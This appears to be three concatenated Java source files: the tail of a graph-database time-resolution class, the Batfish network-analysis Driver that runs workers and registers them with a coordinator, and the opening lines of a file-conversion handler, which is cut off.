nodeWorldOrder.put(nodeWorld, nodeTime); //let's store the new state if necessary long[] newResolveds = new long[6]; //previously resolved newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_INDEX] = nodeWorld; newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_INDEX] = nodeTime; newResolveds[Constants.PREVIOUS_RESOLVED_TIME_INDEX] = nodeTime; //previously magics newResolveds[Constants.PREVIOUS_RESOLVED_WORLD_MAGIC] = nodeWorldOrder.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_SUPER_TIME_MAGIC] = newSuperTimeTree.magic(); newResolveds[Constants.PREVIOUS_RESOLVED_TIME_MAGIC] = newTimeTree.magic(); castedNode._previousResolveds.set(newResolveds); } } } catch (Throwable t) { t.printStackTrace(); } finally { //free lock nodeWorldOrder.unlock(); } if (hasToCleanSuperTimeTree) { _space.unmarkChunk(nodeSuperTimeTree); } if (hasToCleanTimeTree) { _space.unmarkChunk(nodeTimeTree); } //unMark World order chunks _space.unmarkChunk(globalWorldOrder); _space.unmarkChunk(nodeWorldOrder); return resultStateChunk; } @Override public void resolveTimepoints(final KNode node, final long beginningOfSearch, final long endOfSearch, final KCallback<long[]> callback) { long[] keys = new long[]{ Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG, Constants.NULL_LONG, node.id() }; getOrLoadAndMarkAll(new byte[]{Constants.WORLD_ORDER_CHUNK, Constants.WORLD_ORDER_CHUNK}, keys, new KCallback<KChunk[]>() { @Override public void on(KChunk[] orders) { if (orders == null || orders.length != 2) { callback.on(new long[0]); return; } final KWorldOrderChunk globalWorldOrder = (KWorldOrderChunk) orders[0]; final KWorldOrderChunk objectWorldOrder = (KWorldOrderChunk) orders[1]; //worlds collector final int[] collectionSize = {Constants.MAP_INITIAL_CAPACITY}; final long[][] collectedWorlds = {new long[collectionSize[0]]}; int collectedIndex = 0; long currentWorld = node.world(); while (currentWorld != Constants.NULL_LONG) { long divergenceTimepoint = objectWorldOrder.get(currentWorld); if (divergenceTimepoint != Constants.NULL_LONG) { if (divergenceTimepoint < beginningOfSearch) { break; } else if (divergenceTimepoint > endOfSearch) { //next round, go to parent world currentWorld = globalWorldOrder.get(currentWorld); } else { //that's fit, add to search collectedWorlds[0][collectedIndex] = currentWorld; collectedIndex++; if (collectedIndex == collectionSize[0]) { //reallocate long[] temp_collectedWorlds = new long[collectionSize[0] * 2]; System.arraycopy(collectedWorlds[0], 0, temp_collectedWorlds, 0, collectionSize[0]); collectedWorlds[0] = temp_collectedWorlds; collectionSize[0] = collectionSize[0] * 2; } //go to parent currentWorld = globalWorldOrder.get(currentWorld); } } else { //go to parent currentWorld = globalWorldOrder.get(currentWorld); } } //create request concat keys resolveTimepointsFromWorlds(globalWorldOrder, objectWorldOrder, node, beginningOfSearch, endOfSearch, collectedWorlds[0], collectedIndex, callback); } }); } private void resolveTimepointsFromWorlds(final KWorldOrderChunk globalWorldOrder, final KWorldOrderChunk objectWorldOrder, final KNode node, final long beginningOfSearch, final long endOfSearch, final long[] collectedWorlds, final int collectedWorldsSize, final KCallback<long[]> callback) { final MWGResolver selfPointer = this; final long[] timeTreeKeys = new long[collectedWorldsSize * 3]; final byte[] types = new byte[collectedWorldsSize]; for (int i = 0; i < collectedWorldsSize; i++) { timeTreeKeys[i * 3] = collectedWorlds[i]; timeTreeKeys[i * 3 + 1] = Constants.NULL_LONG; timeTreeKeys[i * 3 + 2] = node.id(); types[i] = Constants.TIME_TREE_CHUNK; } getOrLoadAndMarkAll(types, timeTreeKeys, new KCallback<KChunk[]>() { @Override public void on(final KChunk[] superTimeTrees) { if (superTimeTrees == null) { selfPointer._space.unmarkChunk(objectWorldOrder); selfPointer._space.unmarkChunk(globalWorldOrder); callback.on(new long[0]); } else { //time collector final int[] collectedSize = {Constants.MAP_INITIAL_CAPACITY}; final long[][] collectedSuperTimes = {new long[collectedSize[0]]}; final long[][] collectedSuperTimesAssociatedWorlds = {new long[collectedSize[0]]}; final int[] insert_index = {0}; long previousDivergenceTime = endOfSearch; for (int i = 0; i < collectedWorldsSize; i++) { final KTimeTreeChunk timeTree = (KTimeTreeChunk) superTimeTrees[i]; if (timeTree != null) { long currentDivergenceTime = objectWorldOrder.get(collectedWorlds[i]); if (currentDivergenceTime < beginningOfSearch) { currentDivergenceTime = beginningOfSearch; } final long finalPreviousDivergenceTime = previousDivergenceTime; timeTree.range(currentDivergenceTime, previousDivergenceTime, Constants.END_OF_TIME, new KTreeWalker() { @Override public void elem(long t) { if (t != finalPreviousDivergenceTime) { collectedSuperTimes[0][insert_index[0]] = t; collectedSuperTimesAssociatedWorlds[0][insert_index[0]] = timeTree.world(); insert_index[0]++; if (collectedSize[0] == insert_index[0]) { //reallocate long[] temp_collectedSuperTimes = new long[collectedSize[0] * 2]; long[] temp_collectedSuperTimesAssociatedWorlds = new long[collectedSize[0] * 2]; System.arraycopy(collectedSuperTimes[0], 0, temp_collectedSuperTimes, 0, collectedSize[0]); System.arraycopy(collectedSuperTimesAssociatedWorlds[0], 0, temp_collectedSuperTimesAssociatedWorlds, 0, collectedSize[0]); collectedSuperTimes[0] = temp_collectedSuperTimes; collectedSuperTimesAssociatedWorlds[0] = temp_collectedSuperTimesAssociatedWorlds; collectedSize[0] = collectedSize[0] * 2; } } } }); previousDivergenceTime = currentDivergenceTime; } selfPointer._space.unmarkChunk(timeTree); } //now we have superTimes, lets convert them to all times resolveTimepointsFromSuperTimes(globalWorldOrder, objectWorldOrder, node, beginningOfSearch, endOfSearch, collectedSuperTimesAssociatedWorlds[0], collectedSuperTimes[0], insert_index[0], callback); } } }); } private void resolveTimepointsFromSuperTimes(final KWorldOrderChunk globalWorldOrder, final KWorldOrderChunk objectWorldOrder, final KNode node, final long beginningOfSearch, final long endOfSearch, final long[] collectedWorlds, final long[] collectedSuperTimes, final int collectedSize, final KCallback<long[]> callback) { final MWGResolver selfPointer = this; final long[] timeTreeKeys = new long[collectedSize * 3]; final byte[] types = new byte[collectedSize]; for (int i = 0; i < collectedSize; i++) { timeTreeKeys[i * 3] = collectedWorlds[i]; timeTreeKeys[i * 3 + 1] = collectedSuperTimes[i]; timeTreeKeys[i * 3 + 2] = node.id(); types[i] = Constants.TIME_TREE_CHUNK; } getOrLoadAndMarkAll(types, timeTreeKeys, new KCallback<KChunk[]>() { @Override public void on(KChunk[] timeTrees) { if (timeTrees == null) { selfPointer._space.unmarkChunk(objectWorldOrder); selfPointer._space.unmarkChunk(globalWorldOrder); callback.on(new long[0]); } else { //time collector final int[] collectedTimesSize = {Constants.MAP_INITIAL_CAPACITY}; final long[][] collectedTimes = {new long[collectedTimesSize[0]]}; final int[] insert_index = {0}; long previousDivergenceTime = endOfSearch; for (int i = 0; i < collectedSize; i++) { final KTimeTreeChunk timeTree = (KTimeTreeChunk) timeTrees[i]; if (timeTree != null) { long currentDivergenceTime = objectWorldOrder.get(collectedWorlds[i]); if (currentDivergenceTime < beginningOfSearch) { currentDivergenceTime = beginningOfSearch; } final long finalPreviousDivergenceTime = previousDivergenceTime; timeTree.range(currentDivergenceTime, previousDivergenceTime, Constants.END_OF_TIME, new KTreeWalker() { @Override public void elem(long t) { if (t != finalPreviousDivergenceTime) { collectedTimes[0][insert_index[0]] = t; insert_index[0]++; if (collectedTimesSize[0] == insert_index[0]) { //reallocate long[] temp_collectedTimes = new long[collectedTimesSize[0] * 2]; System.arraycopy(collectedTimes[0], 0, temp_collectedTimes, 0, collectedTimesSize[0]); collectedTimes[0] = temp_collectedTimes; collectedTimesSize[0] = collectedTimesSize[0] * 2; } } } }); if (i < collectedSize - 1) { if (collectedWorlds[i + 1] != collectedWorlds[i]) { //world overriding semantic previousDivergenceTime = currentDivergenceTime; } } } selfPointer._space.unmarkChunk(timeTree); } //now we have times if (insert_index[0] != collectedTimesSize[0]) { long[] tempTimeline = new long[insert_index[0]]; System.arraycopy(collectedTimes[0], 0, tempTimeline, 0, insert_index[0]); collectedTimes[0] = tempTimeline; } selfPointer._space.unmarkChunk(objectWorldOrder); selfPointer._space.unmarkChunk(globalWorldOrder); callback.on(collectedTimes[0]); } } }); } /** * Dictionary methods */ @Override public long stringToLongKey(String name) { KStringLongMap dictionaryIndex = (KStringLongMap) this.dictionary.get(0); if (dictionaryIndex == null) { dictionaryIndex = (KStringLongMap) this.dictionary.getOrCreate(0, KType.STRING_LONG_MAP); } long encodedKey = dictionaryIndex.getValue(name); if (encodedKey == Constants.NULL_LONG) { dictionaryIndex.put(name, Constants.NULL_LONG); encodedKey = dictionaryIndex.getValue(name); } return encodedKey; } @Override public String longKeyToString(long key) { KStringLongMap dictionaryIndex = (KStringLongMap) this.dictionary.get(0); if (dictionaryIndex != null) { return dictionaryIndex.getKey(key); } return null; } }
package org.batfish.main; import com.google.common.cache.Cache; import com.google.common.cache.CacheBuilder; import com.google.common.collect.ImmutableList; import com.uber.jaeger.Configuration.ReporterConfiguration; import com.uber.jaeger.Configuration.SamplerConfiguration; import com.uber.jaeger.samplers.ConstSampler; import io.opentracing.ActiveSpan; import io.opentracing.References; import io.opentracing.SpanContext; import io.opentracing.contrib.jaxrs2.server.ServerTracingDynamicFeature; import io.opentracing.util.GlobalTracer; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.ProcessBuilder.Redirect; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.URI; import java.nio.file.Paths; import java.util.Arrays; import java.util.Collections; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.SortedMap; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; import java.util.logging.Level; import java.util.logging.Logger; import javax.annotation.Nullable; import javax.net.ssl.SSLHandshakeException; import javax.ws.rs.ProcessingException; import javax.ws.rs.client.Client; import javax.ws.rs.client.WebTarget; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import javax.ws.rs.core.UriBuilder; import org.apache.commons.collections4.map.LRUMap; import org.apache.commons.lang3.SystemUtils; import org.apache.commons.lang3.exception.ExceptionUtils; import org.batfish.common.BatfishException; import org.batfish.common.BatfishLogger; import org.batfish.common.BfConsts; import org.batfish.common.BfConsts.TaskStatus; import org.batfish.common.CleanBatfishException; import org.batfish.common.CoordConsts; import org.batfish.common.QuestionException; import org.batfish.common.Snapshot; import org.batfish.common.Task; import org.batfish.common.Task.Batch; import org.batfish.common.Version; import org.batfish.common.util.CommonUtil; import org.batfish.config.ConfigurationLocator; import org.batfish.config.Settings; import org.batfish.config.Settings.EnvironmentSettings; import org.batfish.config.Settings.TestrigSettings; import org.batfish.datamodel.Configuration; import org.batfish.datamodel.DataPlane; import org.batfish.datamodel.answers.Answer; import org.batfish.datamodel.answers.AnswerStatus; import org.batfish.datamodel.collections.BgpAdvertisementsByVrf; import org.batfish.datamodel.collections.RoutesByVrf; import org.codehaus.jettison.json.JSONArray; import org.glassfish.jersey.grizzly2.httpserver.GrizzlyHttpServerFactory; import org.glassfish.jersey.jettison.JettisonFeature; import org.glassfish.jersey.server.ResourceConfig; import sun.misc.Signal; import sun.misc.SignalHandler; public class Driver { public enum RunMode { WATCHDOG, WORKER, WORKSERVICE, } static final class CheckParentProcessTask implements Runnable { final int _ppid; public CheckParentProcessTask(int ppid) { _ppid = ppid; } @Override public void run() { Driver.checkParentProcess(_ppid); } } private static void checkParentProcess(int ppid) { try { if (!isProcessRunning(ppid)) { _mainLogger.infof("Committing suicide; ppid %d is dead.\n", ppid); System.exit(0); } } catch (Exception e) { _mainLogger.errorf("Exception while checking parent process with pid: %s", ppid); } } private static boolean _idle = true; private static Date _lastPollFromCoordinator = new Date(); private static String[] _mainArgs = null; private static BatfishLogger _mainLogger = null; private static Settings _mainSettings = null; private static ConcurrentMap<String, Task> _taskLog; private static final Cache<TestrigSettings, DataPlane> CACHED_COMPRESSED_DATA_PLANES = buildDataPlaneCache(); private static final Cache<TestrigSettings, DataPlane> CACHED_DATA_PLANES = buildDataPlaneCache(); private static final Map<EnvironmentSettings, SortedMap<String, BgpAdvertisementsByVrf>> CACHED_ENVIRONMENT_BGP_TABLES = buildEnvironmentBgpTablesCache(); private static final Map<EnvironmentSettings, SortedMap<String, RoutesByVrf>> CACHED_ENVIRONMENT_ROUTING_TABLES = buildEnvironmentRoutingTablesCache(); private static final Cache<Snapshot, SortedMap<String, Configuration>> CACHED_TESTRIGS = buildTestrigCache(); private static final int COORDINATOR_CHECK_INTERVAL_MS = 1 * 60 * 1000; // 1 min private static final int COORDINATOR_POLL_TIMEOUT_MS = 30 * 1000; // 30 secs private static final int COORDINATOR_REGISTRATION_RETRY_INTERVAL_MS = 1 * 1000; // 1 sec private static final int PARENT_CHECK_INTERVAL_MS = 1 * 1000; // 1 sec static Logger httpServerLogger = Logger.getLogger(org.glassfish.grizzly.http.server.HttpServer.class.getName()); private static final int MAX_CACHED_DATA_PLANES = 2; private static final int MAX_CACHED_ENVIRONMENT_BGP_TABLES = 4; private static final int MAX_CACHED_ENVIRONMENT_ROUTING_TABLES = 4; private static final int MAX_CACHED_TESTRIGS = 5; static Logger networkListenerLogger = Logger.getLogger("org.glassfish.grizzly.http.server.NetworkListener"); private static Cache<TestrigSettings, DataPlane> buildDataPlaneCache() { return CacheBuilder.newBuilder().maximumSize(MAX_CACHED_DATA_PLANES).weakValues().build(); } private static Map<EnvironmentSettings, SortedMap<String, BgpAdvertisementsByVrf>> buildEnvironmentBgpTablesCache() { return Collections.synchronizedMap( new LRUMap<EnvironmentSettings, SortedMap<String, BgpAdvertisementsByVrf>>( MAX_CACHED_ENVIRONMENT_BGP_TABLES)); } private static Map<EnvironmentSettings, SortedMap<String, RoutesByVrf>> buildEnvironmentRoutingTablesCache() { return Collections.synchronizedMap( new LRUMap<EnvironmentSettings, SortedMap<String, RoutesByVrf>>( MAX_CACHED_ENVIRONMENT_ROUTING_TABLES)); } private static Cache<Snapshot, SortedMap<String, Configuration>> buildTestrigCache() { return CacheBuilder.newBuilder().maximumSize(MAX_CACHED_TESTRIGS).build(); } private static synchronized boolean claimIdle() { if (_idle) { _idle = false; return true; } return false; } public static synchronized boolean getIdle() { _lastPollFromCoordinator = new Date(); return _idle; } public static BatfishLogger getMainLogger() { return _mainLogger; } @Nullable private static synchronized Task getTask(Settings settings) { String taskId = settings.getTaskId(); if (taskId == null) { return null; } else { return _taskLog.get(taskId); } } @Nullable public static synchronized Task getTaskFromLog(String taskId) { return _taskLog.get(taskId); } private static void initTracer() { GlobalTracer.register( new com.uber.jaeger.Configuration( _mainSettings.getServiceName(), new SamplerConfiguration(ConstSampler.TYPE, 1), new ReporterConfiguration( false, _mainSettings.getTracingAgentHost(), _mainSettings.getTracingAgentPort(), /* flush interval in ms */ 1000, /* max buffered Spans */ 10000)) .getTracer()); } private static boolean isProcessRunning(int pid) throws IOException { // all of this would be a lot simpler in Java 9, using processHandle if (SystemUtils.IS_OS_WINDOWS) { throw new UnsupportedOperationException("Process monitoring is not supported on Windows"); } else { ProcessBuilder builder = new ProcessBuilder("ps", "-x", String.valueOf(pid)); builder.redirectErrorStream(true); Process process = builder.start(); try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { String line; while ((line = reader.readLine()) != null) { String[] columns = line.trim().split("\\s+"); if (String.valueOf(pid).equals(columns[0])) { return true; } } } } return false; } @Nullable public static synchronized Task killTask(String taskId) { Task task = _taskLog.get(taskId); if (_mainSettings.getParentPid() <= 0) { throw new BatfishException("Cannot kill tasks when started in non-watchdog mode"); } else if (task == null) { throw new BatfishException("Task with provided id not found: " + taskId); } else if (task.getStatus().isTerminated()) { throw new BatfishException("Task with provided id already terminated " + taskId); } else { // update task details in case a new query for status check comes in task.newBatch("Got kill request"); task.setStatus(TaskStatus.TerminatedByUser); task.setTerminated(new Date()); task.setErrMessage("Terminated by user"); // we die after a little bit, to allow for the response making it back to the coordinator new java.util.Timer() .schedule( new java.util.TimerTask() { @Override public void run() { System.exit(0); } }, 3000); return task; } } private static synchronized void logTask(String taskId, Task task) throws Exception { if (_taskLog.containsKey(taskId)) { throw new Exception("duplicate UUID for task"); } else { _taskLog.put(taskId, task); } } public static void main(String[] args) { mainInit(args); _mainLogger = new BatfishLogger( _mainSettings.getLogLevel(), _mainSettings.getTimestamp(), _mainSettings.getLogFile(), _mainSettings.getLogTee(), true); mainRun(); } public static void main(String[] args, BatfishLogger logger) { mainInit(args); _mainLogger = logger; mainRun(); } private static void mainInit(String[] args) { _taskLog = new ConcurrentHashMap<>(); _mainArgs = args; try { _mainSettings = new Settings(args); networkListenerLogger.setLevel(Level.WARNING); httpServerLogger.setLevel(Level.WARNING); } catch (Exception e) { System.err.println( "batfish: Initialization failed. Reason: " + ExceptionUtils.getStackTrace(e)); System.exit(1); } } private static void mainRun() { System.setErr(_mainLogger.getPrintStream()); System.setOut(_mainLogger.getPrintStream()); _mainSettings.setLogger(_mainLogger); switch (_mainSettings.getRunMode()) { case WATCHDOG: mainRunWatchdog(); break; case WORKER: mainRunWorker(); break; case WORKSERVICE: mainRunWorkService(); break; default: System.err.println( "batfish: Initialization failed. Unknown runmode: " + _mainSettings.getRunMode()); System.exit(1); } } private static void mainRunWatchdog() { while (true) { RuntimeMXBean runtimeMxBean = ManagementFactory.getRuntimeMXBean(); String classPath = runtimeMxBean.getClassPath(); List<String> jvmArguments = runtimeMxBean .getInputArguments() .stream() .filter(arg -> !arg.startsWith("-agentlib:")) // remove IntelliJ hooks .collect(ImmutableList.toImmutableList()); int myPid = Integer.parseInt(runtimeMxBean.getName().split("@")[0]); List<String> command = new ImmutableList.Builder<String>() .add( Paths.get(System.getProperty("java.home"), "bin", "java") .toAbsolutePath() .toString()) .addAll(jvmArguments) .add("-cp") .add(classPath) .add(Driver.class.getCanonicalName()) // if we add runmode here, any runmode argument in mainArgs is ignored .add("-" + Settings.ARG_RUN_MODE) .add(RunMode.WORKSERVICE.toString()) .add("-" + Settings.ARG_PARENT_PID) .add(Integer.toString(myPid)) .addAll(Arrays.asList(_mainArgs)) .build(); _mainLogger.debugf("Will start workservice with arguments: %s\n", command); ProcessBuilder builder = new ProcessBuilder(command); builder.redirectErrorStream(true); builder.redirectInput(Redirect.INHERIT); Process process; try { process = builder.start(); } catch (IOException e) { _mainLogger.errorf("Exception starting process: %s", ExceptionUtils.getStackTrace(e)); _mainLogger.errorf("Will try again in 1 second\n"); try { Thread.sleep(1000); } catch (InterruptedException e1) { _mainLogger.errorf("Sleep was interrrupted: %s", ExceptionUtils.getStackTrace(e1)); } continue; } try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) { reader.lines().forEach(line -> _mainLogger.output(line + "\n")); } catch (IOException e) { _mainLogger.errorf( "Interrupted while reading subprocess stream: %s", ExceptionUtils.getStackTrace(e)); } try { process.waitFor(); } catch (InterruptedException e) { _mainLogger.infof( "Subprocess was killed: %s.\nRestarting", ExceptionUtils.getStackTrace(e)); } } } private static void mainRunWorker() { if (_mainSettings.canExecute()) { _mainSettings.setLogger(_mainLogger); Batfish.initTestrigSettings(_mainSettings); if (runBatfish(_mainSettings) != null) { System.exit(1); } } } private static void mainRunWorkService() { if (_mainSettings.getTracingEnable() && !GlobalTracer.isRegistered()) { initTracer(); } String protocol = _mainSettings.getSslDisable() ? "http" : "https"; String baseUrl = String.format("%s://%s", protocol, _mainSettings.getServiceBindHost()); URI baseUri = UriBuilder.fromUri(baseUrl).port(_mainSettings.getServicePort()).build(); _mainLogger.debug(String.format("Starting server at %s\n", baseUri)); ResourceConfig rc = new ResourceConfig(Service.class).register(new JettisonFeature()); if (_mainSettings.getTracingEnable()) { rc.register(ServerTracingDynamicFeature.class); } try { if (_mainSettings.getSslDisable()) { GrizzlyHttpServerFactory.createHttpServer(baseUri, rc); } else { CommonUtil.startSslServer( rc, baseUri, _mainSettings.getSslKeystoreFile(), _mainSettings.getSslKeystorePassword(), _mainSettings.getSslTrustAllCerts(), _mainSettings.getSslTruststoreFile(), _mainSettings.getSslTruststorePassword(), ConfigurationLocator.class, Driver.class); } if (_mainSettings.getCoordinatorRegister()) { // this function does not return until registration succeeds registerWithCoordinatorPersistent(); } if (_mainSettings.getParentPid() > 0) { if (SystemUtils.IS_OS_WINDOWS) { _mainLogger.errorf( "Parent process monitoring is not supported on Windows. We'll live without it."); } else { Executors.newScheduledThreadPool(1) .scheduleAtFixedRate( new CheckParentProcessTask(_mainSettings.getParentPid()), 0, PARENT_CHECK_INTERVAL_MS, TimeUnit.MILLISECONDS); SignalHandler handler = signal -> _mainLogger.infof("BFS: Ignoring signal %s\n", signal); Signal.handle(new Signal("INT"), handler); } } // sleep indefinitely, check for parent pid and coordinator each time while (true) { Thread.sleep(COORDINATOR_CHECK_INTERVAL_MS); /* * every time we wake up, we check if the coordinator has polled us recently * if not, re-register the service. the coordinator might have died and come back. */ if (_mainSettings.getCoordinatorRegister() && new Date().getTime() - _lastPollFromCoordinator.getTime() > COORDINATOR_POLL_TIMEOUT_MS) { // this function does not return until registration succeeds registerWithCoordinatorPersistent(); } } } catch (ProcessingException e) { String msg = "FATAL ERROR: " + e.getMessage() + "\n"; _mainLogger.error(msg); System.exit(1); } catch (Exception ex) { String stackTrace = ExceptionUtils.getStackTrace(ex); _mainLogger.error(stackTrace); System.exit(1); } } private static synchronized void makeIdle() { _idle = true; } public static synchronized AtomicInteger newBatch( Settings settings, String description, int jobs) { Batch batch = null; Task task = getTask(settings); if (task != null) { batch = task.newBatch(description); batch.setSize(jobs); return batch.getCompleted(); } else { return new AtomicInteger(); } } private static boolean registerWithCoordinator(String poolRegUrl) { Map<String, String> params = new HashMap<>(); params.put( CoordConsts.SVC_KEY_ADD_WORKER, _mainSettings.getServiceHost() + ":" + _mainSettings.getServicePort()); params.put(CoordConsts.SVC_KEY_VERSION, Version.getVersion()); Object response = talkToCoordinator(poolRegUrl, params, _mainLogger); return response != null; } private static void registerWithCoordinatorPersistent() throws InterruptedException { boolean registrationSuccess; String protocol = _mainSettings.getSslDisable() ? "http" : "https"; String poolRegUrl = String.format( "%s://%s:%s%s/%s", protocol, _mainSettings.getCoordinatorHost(), +_mainSettings.getCoordinatorPoolPort(), CoordConsts.SVC_CFG_POOL_MGR, CoordConsts.SVC_RSC_POOL_UPDATE); do { registrationSuccess = registerWithCoordinator(poolRegUrl); if (!registrationSuccess) { Thread.sleep(COORDINATOR_REGISTRATION_RETRY_INTERVAL_MS); } } while (!registrationSuccess); } @SuppressWarnings("deprecation") private static String runBatfish(final Settings settings) { final BatfishLogger logger = settings.getLogger(); try { final Batfish batfish = new Batfish( settings, CACHED_TESTRIGS, CACHED_COMPRESSED_DATA_PLANES, CACHED_DATA_PLANES, CACHED_ENVIRONMENT_BGP_TABLES, CACHED_ENVIRONMENT_ROUTING_TABLES); @Nullable SpanContext runBatfishSpanContext = GlobalTracer.get().activeSpan() == null ? null : GlobalTracer.get().activeSpan().context(); Thread thread = new Thread() { @Override public void run() { try (ActiveSpan runBatfishSpan = GlobalTracer.get() .buildSpan("Run Batfish job in a new thread and get the answer") .addReference(References.FOLLOWS_FROM, runBatfishSpanContext) .startActive()) { assert runBatfishSpan != null; Answer answer = null; try { answer = batfish.run(); if (answer.getStatus() == null) { answer.setStatus(AnswerStatus.SUCCESS); } } catch (CleanBatfishException e) { String msg = "FATAL ERROR: " + e.getMessage(); logger.error(msg); batfish.setTerminatingExceptionMessage( e.getClass().getName() + ": " + e.getMessage()); answer = Answer.failureAnswer(msg, null); } catch (QuestionException e) { String stackTrace = ExceptionUtils.getStackTrace(e); logger.error(stackTrace); batfish.setTerminatingExceptionMessage( e.getClass().getName() + ": " + e.getMessage()); answer = e.getAnswer(); answer.setStatus(AnswerStatus.FAILURE); } catch (BatfishException e) { String stackTrace = ExceptionUtils.getStackTrace(e); logger.error(stackTrace); batfish.setTerminatingExceptionMessage( e.getClass().getName() + ": " + e.getMessage()); answer = new Answer(); answer.setStatus(AnswerStatus.FAILURE); answer.addAnswerElement(e.getBatfishStackTrace()); } catch (Throwable e) { String stackTrace = ExceptionUtils.getStackTrace(e); logger.error(stackTrace); batfish.setTerminatingExceptionMessage( e.getClass().getName() + ": " + e.getMessage()); answer = new Answer(); answer.setStatus(AnswerStatus.FAILURE); answer.addAnswerElement( new BatfishException("Batfish job failed", e).getBatfishStackTrace()); } finally { try (ActiveSpan outputAnswerSpan = GlobalTracer.get().buildSpan("Outputting answer").startActive()) { assert outputAnswerSpan != null; if (settings.getAnswerJsonPath() != null) { batfish.outputAnswerWithLog(answer); } } } } } }; thread.start(); thread.join(settings.getMaxRuntimeMs()); if (thread.isAlive()) { // this is deprecated but we should be safe since we don't have // locks and such // AF: This doesn't do what you think it does, esp. not in Java 8. // It needs to be replaced. TODO thread.stop(); logger.error("Batfish worker took too long. Terminated."); batfish.setTerminatingExceptionMessage("Batfish worker took too long. Terminated."); } return batfish.getTerminatingExceptionMessage(); } catch (Exception e) { String stackTrace = ExceptionUtils.getStackTrace(e); logger.error(stackTrace); return stackTrace; } } public static List<String> runBatfishThroughService(final String taskId, String[] args) { final Settings settings; try { settings = new Settings(_mainSettings); settings.setRunMode(RunMode.WORKER); settings.parseCommandLine(args); // assign taskId for status updates, termination requests settings.setTaskId(taskId); } catch (Exception e) { return Arrays.asList("failure", "Initialization failed: " + ExceptionUtils.getStackTrace(e)); } try { Batfish.initTestrigSettings(settings); } catch (Exception e) { return Arrays.asList( "failure", "Failed while applying auto basedir. (All arguments are supplied?): " + e.getMessage()); } if (settings.canExecute()) { if (claimIdle()) { // lets put a try-catch around all the code around claimIdle // so that we never the worker non-idle accidentally try { final BatfishLogger jobLogger = new BatfishLogger( settings.getLogLevel(), settings.getTimestamp(), settings.getLogFile(), settings.getLogTee(), false); settings.setLogger(jobLogger); final Task task = new Task(args); logTask(taskId, task); @Nullable SpanContext runTaskSpanContext = GlobalTracer.get().activeSpan() == null ? null : GlobalTracer.get().activeSpan().context(); // run batfish on a new thread and set idle to true when done Thread thread = new Thread() { @Override public void run() { try (ActiveSpan runBatfishSpan = GlobalTracer.get() .buildSpan("Initialize Batfish in a new thread") .addReference(References.FOLLOWS_FROM, runTaskSpanContext) .startActive()) { assert runBatfishSpan != null; // avoid unused warning task.setStatus(TaskStatus.InProgress); String errMsg = runBatfish(settings); if (errMsg == null) { task.setStatus(TaskStatus.TerminatedNormally); } else { task.setStatus(TaskStatus.TerminatedAbnormally); task.setErrMessage(errMsg); } task.setTerminated(new Date()); jobLogger.close(); makeIdle(); } } }; thread.start(); return Arrays.asList(BfConsts.SVC_SUCCESS_KEY, "running now"); } catch (Exception e) { _mainLogger.error("Exception while running task: " + e.getMessage()); makeIdle(); return Arrays.asList(BfConsts.SVC_FAILURE_KEY, e.getMessage()); } } else { return Arrays.asList(BfConsts.SVC_FAILURE_KEY, "Not idle"); } } else { return Arrays.asList(BfConsts.SVC_FAILURE_KEY, "Non-executable command"); } } public static Object talkToCoordinator( String url, Map<String, String> params, BatfishLogger logger) { Client client = null; try { client = CommonUtil.createHttpClientBuilder( _mainSettings.getSslDisable(), _mainSettings.getSslTrustAllCerts(), _mainSettings.getSslKeystoreFile(), _mainSettings.getSslKeystorePassword(), _mainSettings.getSslTruststoreFile(), _mainSettings.getSslTruststorePassword()) .build(); WebTarget webTarget = client.target(url); for (Map.Entry<String, String> entry : params.entrySet()) { webTarget = webTarget.queryParam(entry.getKey(), entry.getValue()); } Response response = webTarget.request(MediaType.APPLICATION_JSON).get(); logger.debug( "BF: " + response.getStatus() + " " + response.getStatusInfo() + " " + response + "\n"); if (response.getStatus() != Response.Status.OK.getStatusCode()) { logger.error("Did not get an OK response\n"); return null; } String sobj = response.readEntity(String.class); JSONArray array = new JSONArray(sobj); logger.debugf("BF: response: %s [%s] [%s]\n", array, array.get(0), array.get(1)); if (!array.get(0).equals(CoordConsts.SVC_KEY_SUCCESS)) { logger.errorf( "BF: got error while talking to coordinator: %s %s\n", array.get(0), array.get(1)); return null; } return array.get(1); } catch (ProcessingException e) { if (CommonUtil.causedBy(e, SSLHandshakeException.class) || CommonUtil.causedByMessage(e, "Unexpected end of file from server")) { throw new BatfishException("Unrecoverable connection error", e); } logger.errorf("BF: unable to connect to coordinator pool mgr at %s\n", url); logger.debug(ExceptionUtils.getStackTrace(e) + "\n"); return null; } catch (Exception e) { logger.errorf("exception: " + ExceptionUtils.getStackTrace(e)); return null; } finally { if (client != null) { client.close(); } } } }
package roart.content; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Arrays; import java.util.Map; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import roart.classification.ClassifyDao; import roart.common.config.Converter; import roart.common.config.MyConfig; import roart.common.constants.Constants; import roart.common.inmemory.factory.InmemoryFactory; import roart.common.inmemory.model.Inmemory; import roart.common.inmemory.model.InmemoryMessage; import roart.common.inmemory.model.InmemoryUtil; import roart.common.model.FileLocation; import roart.common.model.FileObject; import roart.common.model.IndexFiles; import roart.common.model.ResultItem; import roart.common.util.JsonUtil; import roart.convert.ConvertDAO; import roart.database.IndexFilesDao; import roart.dir.Traverse; import roart.filesystem.FileSystemDao; import roart.lang.LanguageDetect; import roart.lang.LanguageDetectFactory; import roart.queue.Queues; import roart.service.ControlService; import roart.util.ISBNUtil; import roart.util.MyList; import roart.util.MyLists; import roart.queue.ConvertQueueElement; import roart.queue.IndexQueueElement; public class ConvertHandler { private Logger log = LoggerFactory.getLogger(ConvertHandler.class); public void doConvert(ConvertQueueElement el) { FileObject dbfilename = el.dbfilename; FileObject filename = el.filename; String md5 = el.md5; IndexFiles index = el.index; 